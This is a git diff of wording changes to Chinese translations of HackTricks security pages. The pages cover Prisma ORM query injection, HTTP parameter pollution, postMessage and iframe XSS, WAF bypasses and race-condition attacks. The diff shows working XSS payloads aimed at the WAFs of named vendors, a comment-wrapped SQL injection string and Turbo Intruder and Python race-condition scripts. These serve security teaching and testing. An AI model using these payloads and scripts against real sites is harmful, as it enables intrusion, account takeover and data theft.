- **PostgreSQL**: 没有默认的正则超时,并且不太容易回溯
|
||||
- **MariaDB**: 没有正则超时
|
||||
- **PostgreSQL**: 没有默认的正则表达式超时,并且不太容易回溯
|
||||
- **MariaDB**: 没有正则表达式超时
|
||||
|
||||
## Prisma ORM (NodeJS)
|
||||
|
||||
以下是 [**从此帖子提取的技巧**](https://www.elttam.com/blog/plorming-your-primsa-orm/)。
|
||||
|
||||
- **完全查找控制**:
|
||||
- **完全控制查找**:
|
||||
|
||||
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
||||
|
||||
@ -102,7 +102,7 @@ res.json([]);
|
||||
});
|
||||
</code></pre>
|
||||
|
||||
可以看到整个 javascript 主体被传递给 prisma 以执行查询。
|
||||
可以看到整个 JavaScript 主体被传递给 prisma 以执行查询。
|
||||
|
||||
在原始帖子的示例中,这将检查所有由某人创建的帖子(每个帖子都是由某人创建的),同时返回该某人的用户信息(用户名、密码...)
|
||||
```json
|
||||
@ -257,7 +257,7 @@ res.json([])
|
||||
}
|
||||
}
|
||||
```
|
||||
- **错误/定时查询**:在原始帖子中,您可以阅读一系列非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是:
|
||||
- **错误/定时查询**:在原始帖子中,您可以阅读一套非常广泛的测试,以找到使用基于时间的有效载荷泄露信息的最佳有效载荷。这是:
|
||||
```json
|
||||
{
|
||||
"OR": [
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
## HTTP 参数污染 (HPP) 概述
|
||||
|
||||
HTTP 参数污染 (HPP) 是一种技术,攻击者通过操纵 HTTP 参数以意想不到的方式改变 Web 应用程序的行为。这种操纵是通过添加、修改或重复 HTTP 参数来实现的。这些操纵的效果对用户并不直接可见,但可以显著改变服务器端应用程序的功能,并在客户端产生可观察的影响。
|
||||
HTTP 参数污染 (HPP) 是一种技术,攻击者通过操纵 HTTP 参数来以意想不到的方式改变 Web 应用程序的行为。这种操纵是通过添加、修改或重复 HTTP 参数来完成的。这些操纵的效果对用户并不直接可见,但可以显著改变服务器端应用程序的功能,并在客户端产生可观察的影响。
|
||||
|
||||
### HTTP 参数污染 (HPP) 示例
|
||||
|
||||
@ -39,7 +39,7 @@ HTTP 参数污染 (HPP) 是一种技术,攻击者通过操纵 HTTP 参数以
|
||||
|
||||
- **场景:** 一个应用程序允许用户通过个人资料设置页面更新他们的 API 密钥。
|
||||
- **攻击向量:** 攻击者发现通过向 POST 请求附加一个额外的 `api_key` 参数,可以操纵 API 密钥更新功能的结果。
|
||||
- **技术:** 利用像 Burp Suite 这样的工具,攻击者构造一个请求,其中包含两个 `api_key` 参数:一个合法的和一个恶意的。服务器只处理最后一个出现的参数,将 API 密钥更新为攻击者提供的值。
|
||||
- **技术:** 利用像 Burp Suite 这样的工具,攻击者构造一个包含两个 `api_key` 参数的请求:一个合法的和一个恶意的。服务器只处理最后一个出现的参数,将 API 密钥更新为攻击者提供的值。
|
||||
- **结果:** 攻击者控制了受害者的 API 功能,可能未经授权访问或修改私有数据。
|
||||
|
||||
这个例子进一步强调了安全参数处理的必要性,特别是在像 API 密钥管理这样关键的功能中。
|
||||
@ -61,7 +61,7 @@ Web 技术处理重复 HTTP 参数的方式各不相同,影响其对 HPP 攻
|
||||
|
||||
1. 忽略参数名称中的 %00 之后的任何内容。
|
||||
2. 将 name\[] 视为数组。
|
||||
3. \_GET 不代表 GET 方法。
|
||||
3. \_GET 不意味着 GET 方法。
|
||||
4. 优先考虑最后一个参数。
|
||||
|
||||
### Ruby 3.3.5 和 WEBrick 1.8.2
|
||||
|
||||
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
可以在**电话号码的末尾添加字符串**,这些字符串可能被用来利用常见的注入(XSS、SQLi、SSRF...)或甚至绕过保护:
|
||||
可以在**电话号码的末尾添加字符串**,这些字符串可能被用于利用常见的注入(XSS、SQLi、SSRF...)或甚至绕过保护:
|
||||
|
||||
<figure><img src="../images/image (461).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../images/image (941).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
**OTP 绕过 / 暴力破解** 的工作方式如下:
|
||||
**OTP 绕过 / 暴力破解** 将这样工作:
|
||||
|
||||
<figure><img src="../images/image (116).png" alt="https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**,以便他可以利用 **如果他的输入以某种方式反射在响应中** 的漏洞。
|
||||
这些 PoCs 和 Polygloths 的目标是为测试人员提供一个快速的 **摘要**,以便他可以利用 **输入在响应中以某种方式被反射** 的漏洞。
|
||||
|
||||
> [!WARNING]
|
||||
> 这个 **备忘单并没有提供每个漏洞的全面测试列表**,只是一些基本的测试。如果您在寻找更全面的测试,请访问每个提议的漏洞。
|
||||
|
||||
@ -32,8 +32,8 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
|
||||
## loop until win.length == 1 (until the iframe is loaded)
|
||||
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
|
||||
```
|
||||
注意,**targetOrigin** 可以是 '\*' 或像 _https://company.com_ 这样的 URL。\
|
||||
在 **第二种情况** 中,**消息只能发送到该域**(即使窗口对象的来源不同)。\
|
||||
注意,**targetOrigin** 可以是 '\*' 或像 _https://company.com._ 的 URL。\
|
||||
在 **第二种情况** 下,**消息只能发送到该域**(即使窗口对象的来源不同)。\
|
||||
如果使用 **通配符**,**消息可以发送到任何域**,并将发送到窗口对象的来源。
|
||||
|
||||
### 攻击 iframe 和 **targetOrigin** 中的通配符
|
||||
@ -158,7 +158,7 @@ bypassing-sop-with-iframes-2.md
|
||||
### X-Frame-Header 绕过
|
||||
|
||||
为了理想地执行这些攻击,您将能够**将受害者网页**放入一个`iframe`中。但一些头部如`X-Frame-Header`可以**阻止**这种**行为**。\
|
||||
在这些情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页到易受攻击的网络应用程序并与之通信:
|
||||
在这些情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页,访问易受攻击的网络应用程序并与之通信:
|
||||
```markup
|
||||
<script>
|
||||
var w=window.open("<url>")
|
||||
@ -167,7 +167,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||
```
|
||||
### 通过阻止主页面窃取发送给子页面的消息
|
||||
|
||||
在以下页面中,您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子iframe**的**敏感postmessage数据**,并利用**子iframe中的XSS**在数据被接收之前**泄露数据**:
|
||||
在以下页面中,您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子iframe**的**敏感postmessage数据**,并利用**子页面中的XSS**在数据被接收之前**泄露数据**:
|
||||
|
||||
{{#ref}}
|
||||
blocking-main-page-to-steal-postmessage.md
|
||||
@ -175,7 +175,7 @@ blocking-main-page-to-steal-postmessage.md
|
||||
|
||||
### 通过修改iframe位置窃取消息
|
||||
|
||||
如果您可以在没有X-Frame-Header的网页中嵌入一个包含另一个iframe的页面,您可以**更改该子iframe的地址**,因此如果它接收使用**通配符**发送的**postmessage**,攻击者可以**更改**该iframe的**来源**为一个**由他控制**的页面并**窃取**消息:
|
||||
如果您可以在没有X-Frame-Header的网页中嵌入一个包含另一个iframe的页面,您可以**更改该子iframe的位置**,因此如果它接收使用**通配符**发送的**postmessage**,攻击者可以**更改**该iframe的**来源**为一个**由他控制**的页面并**窃取**消息:
|
||||
|
||||
{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
@ -185,7 +185,7 @@ steal-postmessage-modifying-iframe-location.md
|
||||
|
||||
在通过`postMessage`发送的数据被JS执行的场景中,您可以**嵌入**该**页面**并**利用**通过`postMessage`发送的**原型污染/XSS**进行攻击。
|
||||
|
||||
一些**通过`postMessage`非常好地解释的XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
|
||||
一些**通过`postMessage`非常好解释的XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
|
||||
|
||||
通过`postMessage`对`iframe`进行**原型污染然后XSS**的攻击示例:
|
||||
```html
|
||||
|
||||
@ -6,13 +6,13 @@
|
||||
|
||||
根据这个 [**Terjanq writeup**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710),从空源创建的 blob 文档出于安全考虑是隔离的,这意味着如果你让主页面保持忙碌,iframe 页面将会被执行。
|
||||
|
||||
基本上,在这个挑战中,一个 **隔离的 iframe 被执行**,并且在它 **加载后**,**父**页面将会 **发送一个 post** 消息,包含 **标志**。\
|
||||
然而,这种 postmessage 通信是 **易受 XSS 攻击的**(**iframe** 可以执行 JS 代码)。
|
||||
基本上在这个挑战中,一个 **隔离的 iframe 被执行**,并且在它 **加载后**,**父**页面将会 **发送一个 post** 消息,包含 **flag**。\
|
||||
然而,这个 postmessage 通信是 **易受 XSS 攻击的**(**iframe** 可以执行 JS 代码)。
|
||||
|
||||
因此,攻击者的目标是 **让父页面创建 iframe**,但 **在** 让 **父**页面 **发送** 敏感数据(**标志**)之前 **保持它忙碌**,并将 **有效载荷发送到 iframe**。当 **父页面忙碌时**,**iframe 执行有效载荷**,这将是一些 JS 代码,用于监听 **父 postmessage 消息并泄露标志**。\
|
||||
最后,iframe 执行了有效载荷,父页面停止忙碌,因此它发送标志,而有效载荷泄露了它。
|
||||
因此,攻击者的目标是 **让父页面创建 iframe**,但 **在** 让 **父**页面 **发送** 敏感数据(**flag**) **之前**,**保持它忙碌**并将 **有效载荷发送到 iframe**。当 **父页面忙碌时**,**iframe 执行有效载荷**,这将是一些 JS 代码,用于监听 **父 postmessage 消息并泄露 flag**。\
|
||||
最后,iframe 执行了有效载荷,父页面停止忙碌,因此它发送 flag,而有效载荷泄露了它。
|
||||
|
||||
但是你如何能让父页面在生成 iframe 后 **立即忙碌,并且在等待 iframe 准备好发送敏感数据时保持忙碌呢?** 基本上,你需要找到 **异步** **操作**,让父页面 **执行**。例如,在这个挑战中,父页面 **监听** **postmessages**,如下所示:
|
||||
但是你如何能让父页面在 **生成 iframe 后立即忙碌,并且在等待 iframe 准备好发送敏感数据时保持忙碌呢?** 基本上,你需要找到 **异步** **操作**,让父页面 **执行**。例如,在这个挑战中,父页面 **监听** **postmessages** 是这样的:
|
||||
```javascript
|
||||
window.addEventListener("message", (e) => {
|
||||
if (e.data == "blob loaded") {
|
||||
@ -20,7 +20,7 @@ $("#previewModal").modal()
|
||||
}
|
||||
})
|
||||
```
|
||||
因此,可以在 postmessage 中发送一个 **大整数**,在该比较中将被 **转换为字符串**,这将需要一些时间:
|
||||
因此,可以在一个 **postmessage** 中发送一个 **大整数**,在该比较中将被 **转换为字符串**,这将需要一些时间:
|
||||
```bash
|
||||
const buffer = new Uint8Array(1e7);
|
||||
win?.postMessage(buffer, '*', [buffer.buffer]);
|
||||
|
||||
@ -19,22 +19,22 @@ renderContainer.innerHTML = data.body
|
||||
|
||||
让我们看看他们提出的解决方案。
|
||||
|
||||
### SOP 绕过 1 (e.origin === null)
|
||||
### SOP绕过1 (e.origin === null)
|
||||
|
||||
当`//example.org`嵌入到一个**沙箱iframe**中时,页面的**origin**将是**`null`**,即**`window.origin === null`**。因此,仅通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe,我们可以**强制`null` origin**。
|
||||
当`//example.org`嵌入到一个**沙盒iframe**中时,页面的**origin**将是**`null`**,即**`window.origin === null`**。因此,仅通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe,我们可以**强制`null` origin**。
|
||||
|
||||
如果页面是**可嵌入的**,你可以通过这种方式绕过该保护(cookies可能也需要设置为`SameSite=None`)。
|
||||
|
||||
### SOP 绕过 2 (window.origin === null)
|
||||
### SOP绕过2 (window.origin === null)
|
||||
|
||||
较少人知的是,当**沙箱值`allow-popups`被设置**时,**打开的弹出窗口**将**继承**所有**沙箱属性**,除非设置`allow-popups-to-escape-sandbox`。\
|
||||
因此,从**null origin**打开**弹出窗口**将使**弹出窗口内的`window.origin`**也为**`null`**。
|
||||
较少人知的是,当**沙盒值`allow-popups`被设置**时,**打开的弹出窗口**将**继承**所有**沙盒属性**,除非设置了`allow-popups-to-escape-sandbox`。\
|
||||
因此,从**null origin**打开**弹出窗口**将使**弹出窗口**内的**`window.origin`**也为**`null`**。
|
||||
|
||||
### 挑战解决方案
|
||||
|
||||
因此,对于这个挑战,可以**创建**一个**iframe**,**打开一个弹出窗口**到具有易受攻击的XSS代码处理程序的页面(`/iframe.php`),因为`window.origin === e.origin`因为两者都是`null`,可以**发送一个有效载荷来利用XSS**。
|
||||
因此,对于这个挑战,可以**创建**一个**iframe**,**打开一个弹出窗口**到具有易受攻击的XSS代码处理程序的页面(`/iframe.php`),因为`window.origin === e.origin`,因为两者都是`null`,可以**发送一个有效载荷来利用XSS**。
|
||||
|
||||
该**有效载荷**将获取**标识符**并将**XSS**发送**回顶部页面**(打开弹出窗口的页面),**这将**使**位置**更改为**易受攻击的**`/iframe.php`。因为标识符是已知的,所以不管条件`window.origin === e.origin`是否满足都无关紧要(记住,origin是来自iframe的**弹出窗口**,其**origin**为**`null`**),因为`data.identifier === identifier`。然后,**XSS将再次触发**,这次在正确的origin中。
|
||||
该**有效载荷**将获取**标识符**并将**XSS**发送**回到顶层页面**(打开弹出窗口的页面),**这将**使**位置**更改为**易受攻击的**`/iframe.php`。因为标识符是已知的,所以不管条件`window.origin === e.origin`是否满足都无关紧要(记住,origin是来自iframe的**弹出窗口**,其**origin**为**`null`**),因为`data.identifier === identifier`。然后,**XSS将再次触发**,这次在正确的origin中。
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
|
||||
@ -17,7 +17,7 @@ location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
为了防止绕过,Nginx 在检查路径之前会执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),可能会绕过此防御。
|
||||
为了防止绕过,Nginx 在检查路径之前执行路径规范化。然而,如果后端服务器执行不同的规范化(移除 Nginx 不移除的字符),可能会绕过此防御。
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
@ -75,7 +75,7 @@ deny all;
|
||||
### 路径混淆
|
||||
|
||||
[**在这篇文章中**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) 解释了 ModSecurity v3(直到 3.0.12)**错误地实现了 `REQUEST_FILENAME`** 变量,该变量本应包含访问的路径(直到参数开始)。这是因为它执行了 URL 解码以获取路径。\
|
||||
因此,像 `http://example.com/foo%3f';alert(1);foo=` 的请求在 mod security 中将认为路径只是 `/foo`,因为 `%3f` 被转换为 `?`,结束了 URL 路径,但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`。
|
||||
因此,像 `http://example.com/foo%3f';alert(1);foo=` 这样的请求在 mod security 中将认为路径只是 `/foo`,因为 `%3f` 被转换为 `?`,结束了 URL 路径,但实际上服务器接收到的路径将是 `/foo%3f';alert(1);foo=`。
|
||||
|
||||
变量 `REQUEST_BASENAME` 和 `PATH_INFO` 也受到此错误的影响。
|
||||
|
||||
@ -85,7 +85,7 @@ deny all;
|
||||
|
||||
### 格式错误的头部
|
||||
|
||||
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则,该头部未被 AWS 正确解析,但被后端服务器解析。
|
||||
[这项研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) 提到可以通过发送一个“格式错误”的头部来绕过应用于 HTTP 头部的 AWS WAF 规则,该头部未被 AWS 正确解析,但被后端服务器解析。
|
||||
|
||||
例如,发送以下请求,在头部 X-Query 中包含 SQL 注入:
|
||||
```http
|
||||
@ -145,11 +145,11 @@ Connection: close\r\n
|
||||
|
||||
正如在 [**这篇博客文章**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) 中提到的,为了绕过能够维护用户输入上下文的 WAF,我们可以利用 WAF 技术来实际规范化用户输入。
|
||||
|
||||
例如,在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`,这 **可能会认为是可以的,因为标签是闭合的**。然而,只要应用程序没有对输入进行 10 次 URL 解码,受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容,这 **仍然有效用于 XSS 攻击**。
|
||||
例如,在文章中提到 **Akamai 对用户输入进行了 10 次 URL 解码**。因此,像 `<input/%2525252525252525253e/onfocus` 这样的内容将被 Akamai 视为 `<input/>/onfocus`,这 **可能认为是可以的,因为标签是闭合的**。然而,只要应用程序没有对输入进行 10 次 URL 解码,受害者将看到类似 `<input/%25252525252525253e/onfocus` 的内容,这 **仍然有效用于 XSS 攻击**。
|
||||
|
||||
因此,这允许 **在编码组件中隐藏有效载荷**,WAF 将解码并解释,而受害者则不会。
|
||||
因此,这允许在 WAF 将解码和解释的编码组件中 **隐藏有效载荷**,而受害者则看不到。
|
||||
|
||||
此外,这不仅可以通过 URL 编码的有效载荷来实现,还可以通过其他编码方式,如 unicode、hex、octal 等。
|
||||
此外,这不仅可以通过 URL 编码的有效载荷来实现,还可以通过其他编码方式,如 unicode、hex、octal 等...
|
||||
|
||||
在文章中建议了以下最终绕过方法:
|
||||
|
||||
@ -158,7 +158,7 @@ Connection: close\r\n
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
还提到,根据 **某些 WAF 如何理解用户输入的上下文**,可能会存在滥用的可能。博客中提出的例子是 Akamai 允许在 `/*` 和 `*/` 之间放置任何内容(可能是因为这通常用作注释)。因此,像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获,并且将有效,因为 `/*` 是注入的起始字符串,而 `*/` 是注释。
|
||||
还提到,根据 **某些 WAF 如何理解用户输入的上下文**,可能会存在滥用的可能性。博客中提出的例子是 Akamai 允许在 `/*` 和 `*/` 之间放置任何内容(可能是因为这通常用作注释)。因此,像 `/*'or sleep(5)-- -*/` 这样的 SQL 注入将不会被捕获,并且是有效的,因为 `/*` 是注入的起始字符串,而 `*/` 是注释。
|
||||
|
||||
这些上下文问题也可以用来 **滥用其他比 WAF 预期的漏洞**(例如,这也可以用来利用 XSS)。
|
||||
|
||||
@ -173,12 +173,12 @@ h2c-smuggling.md
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): 生成一个 API 网关 URL 以供 ffuf 使用
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): 类似于 fireprox
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): 使用 API 网关 IP 的 Burp Suite 插件
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活,输入被拆分为块以进行并行执行,例如 100 个实例处理来自 10,000 行输入文件的 100 个块,拆分因子为 100 行。
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 根据输入文件大小和拆分因子动态确定的容器实例数量被激活,输入被拆分为多个块以进行并行执行,例如 100 个实例处理来自 10,000 行输入文件的 100 个块,拆分因子为 100 行。
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### 正则表达式绕过
|
||||
|
||||
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。以下示例摘自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
|
||||
可以使用不同的技术来绕过防火墙上的正则表达式过滤器。示例包括交替大小写、添加换行符和编码有效载荷。各种绕过的资源可以在 [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) 和 [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) 找到。以下示例来自 [这篇文章](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)。
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -203,7 +203,7 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp 插件,通过长度向请求添加垃圾数据以绕过 WAF
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
> [!WARNING]
|
||||
> 要深入了解此技术,请查看原始报告 [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
||||
## Enhancing Race Condition Attacks
|
||||
## 增强竞争条件攻击
|
||||
|
||||
利用竞争条件的主要障碍是确保多个请求同时处理,**处理时间差异非常小——理想情况下,少于1毫秒**。
|
||||
|
||||
@ -25,21 +25,21 @@
|
||||
|
||||
随后发送的保留帧应以单个数据包到达,可以通过 Wireshark 验证。此方法不适用于静态文件,这些文件通常不涉及 RC 攻击。
|
||||
|
||||
### Adapting to Server Architecture
|
||||
### 适应服务器架构
|
||||
|
||||
了解目标的架构至关重要。前端服务器可能以不同方式路由请求,从而影响时序。通过无关请求进行预先的服务器端连接预热,可能会使请求时序正常化。
|
||||
|
||||
#### Handling Session-Based Locking
|
||||
#### 处理基于会话的锁定
|
||||
|
||||
像 PHP 的会话处理程序这样的框架按会话序列化请求,可能会掩盖漏洞。为每个请求使用不同的会话令牌可以规避此问题。
|
||||
|
||||
#### Overcoming Rate or Resource Limits
|
||||
#### 克服速率或资源限制
|
||||
|
||||
如果连接预热无效,通过大量虚假请求故意触发 Web 服务器的速率或资源限制延迟,可能会通过引发有利于竞争条件的服务器端延迟来促进单包攻击。
|
||||
|
||||
## Attack Examples
|
||||
## 攻击示例
|
||||
|
||||
- **Tubo Intruder - HTTP2 单包攻击 (1 个端点)**:您可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值 **`%s`**,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**:
|
||||
- **Tubo Intruder - HTTP2 单包攻击(1 个端点)**:您可以将请求发送到 **Turbo intruder**(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),您可以在请求中更改要暴力破解的值 **`%s`**,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单中选择 **`examples/race-single-packer-attack.py`**:
|
||||
|
||||
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1')
|
||||
> [!WARNING]
|
||||
> 如果网站不支持 HTTP2(仅支持 HTTP1.1),请使用 `Engine.THREADED` 或 `Engine.BURP`,而不是 `Engine.BURP2`。
|
||||
|
||||
- **Tubo Intruder - HTTP2 单包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他多个端点发送请求以触发 RCE,您可以将 `race-single-packet-attack.py` 脚本更改为类似:
|
||||
- **Tubo Intruder - HTTP2 单包攻击(多个端点)**:如果您需要向一个端点发送请求,然后向其他多个端点发送请求以触发 RCE,您可以将 `race-single-packet-attack.py` 脚本更改为类似以下内容:
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -87,11 +87,11 @@ engine.openGate(currentAttempt)
|
||||
- 对于 **limit-overrun**,您可以在组中**添加相同的请求 50 次**。
|
||||
- 对于 **connection warming**,您可以在 **组的开始**添加一些请求到 web 服务器的某个非静态部分。
|
||||
- 对于在处理 **一个请求和另一个请求之间**的过程 **延迟**,您可以在两个请求之间**添加额外的请求**。
|
||||
- 对于 **multi-endpoint** RC,您可以开始发送 **请求**,该请求 **进入隐藏状态**,然后在其后 **发送 50 个请求**,这些请求 **利用隐藏状态**。
|
||||
- 对于 **multi-endpoint** RC,您可以开始发送**请求**,该请求**进入隐藏状态**,然后在其后**发送 50 个请求**,这些请求**利用隐藏状态**。
|
||||
|
||||
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **自动化 Python 脚本**:该脚本的目标是更改用户的电子邮件,同时不断验证,直到新电子邮件的验证令牌到达最后一个电子邮件(这是因为在代码中看到一个 RC,可以修改电子邮件,但验证被发送到旧电子邮件,因为指示电子邮件的变量已经用第一个填充)。\
|
||||
- **自动化 python 脚本**:该脚本的目标是更改用户的电子邮件,同时不断验证,直到新电子邮件的验证令牌到达最后一个电子邮件(这是因为在代码中看到一个 RC,可以修改电子邮件,但验证被发送到旧电子邮件,因为指示电子邮件的变量已经用第一个填充)。\
|
||||
当在收到的电子邮件中找到“objetivo”一词时,我们知道收到了更改电子邮件的验证令牌,并结束攻击。
|
||||
```python
|
||||
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
|
||||
@ -219,19 +219,19 @@ response = requests.get(url, verify=False)
|
||||
```
|
||||
### 改进单包攻击
|
||||
|
||||
在原始研究中解释了此攻击的限制为1,500字节。然而,在[**这篇文章**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)中,解释了如何通过使用IP层分片(将单个数据包拆分为多个IP数据包)并以不同顺序发送它们,从而扩展单包攻击的1,500字节限制到**TCP的65,535 B窗口限制**,这使得在所有片段到达服务器之前,防止重新组装数据包。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。 
|
||||
在原始研究中解释了此攻击的限制为1,500字节。然而,在[**这篇文章**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)中,解释了如何通过使用IP层分片(将单个数据包拆分为多个IP数据包)并以不同顺序发送它们,从而扩展单包攻击的1,500字节限制到**TCP的65,535 B窗口限制**,这使得在所有片段到达服务器之前,防止数据包重新组装。这项技术使研究人员能够在大约166毫秒内发送10,000个请求。 
|
||||
|
||||
请注意,尽管此改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠,但它也可能存在一些软件限制。一些流行的HTTP服务器,如Apache、Nginx和Go,将`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而,像NodeJS和nghttp2等其他服务器则没有限制。\
|
||||
请注意,尽管此改进使得在需要数百/数千个数据包同时到达的RC攻击中更可靠,但它也可能有一些软件限制。一些流行的HTTP服务器,如Apache、Nginx和Go,将`SETTINGS_MAX_CONCURRENT_STREAMS`设置为100、128和250。然而,像NodeJS和nghttp2这样的其他服务器则没有限制。\
|
||||
这基本上意味着Apache将只考虑来自单个TCP连接的100个HTTP连接(限制了此RC攻击)。
|
||||
|
||||
您可以在repo中找到使用此技术的一些示例[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
|
||||
您可以在repo中找到使用此技术的一些示例 [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
|
||||
|
||||
## 原始BF
|
||||
|
||||
在之前的研究之前,使用了一些有效载荷,这些有效载荷只是试图尽可能快地发送数据包以引发RC。
|
||||
|
||||
- **Repeater:** 查看上一节中的示例。
|
||||
- **Intruder**: 将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,并选择有效载荷为**Null payloads**并生成**30个**。
|
||||
- **Intruder**: 将**请求**发送到**Intruder**,在**选项菜单**中将**线程数**设置为**30**,并选择有效载荷为**Null payloads**并生成**30**。
|
||||
- **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
